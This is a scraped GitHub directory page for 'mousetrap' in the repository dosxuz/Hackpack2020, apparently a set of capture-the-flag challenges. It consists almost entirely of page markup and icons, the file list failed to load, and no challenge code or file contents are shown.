d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> dosxuz </span> <span>/</span> Hackpack2020 <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/dosxuz/Hackpack2020/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":260132292,"originating_url":"https://github.com/dosxuz/Hackpack2020/tree/master/mousetrap","user_id":null}}" data-hydro-click-hmac="e63a30bb38623ec296b85775ca7987600905d68052f9e8c27423ec854d7e451c"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/dosxuz/Hackpack2020/refs" cache-key="v0:1588228716.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZG9zeHV6L0hhY2twYWNrMjAyMA==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/dosxuz/Hackpack2020/refs" cache-key="v0:1588228716.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZG9zeHV6L0hhY2twYWNrMjAyMA==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Hackpack2020</span></span></span><span>/</span>mousetrap<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Hackpack2020</span></span></span><span>/</span>mousetrap<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/dosxuz/Hackpack2020/tree-commit/147f2fe431fcd9fdca1c009e49a58d84c52aa7ef/mousetrap" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/dosxuz/Hackpack2020/file-list/master/mousetrap"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon 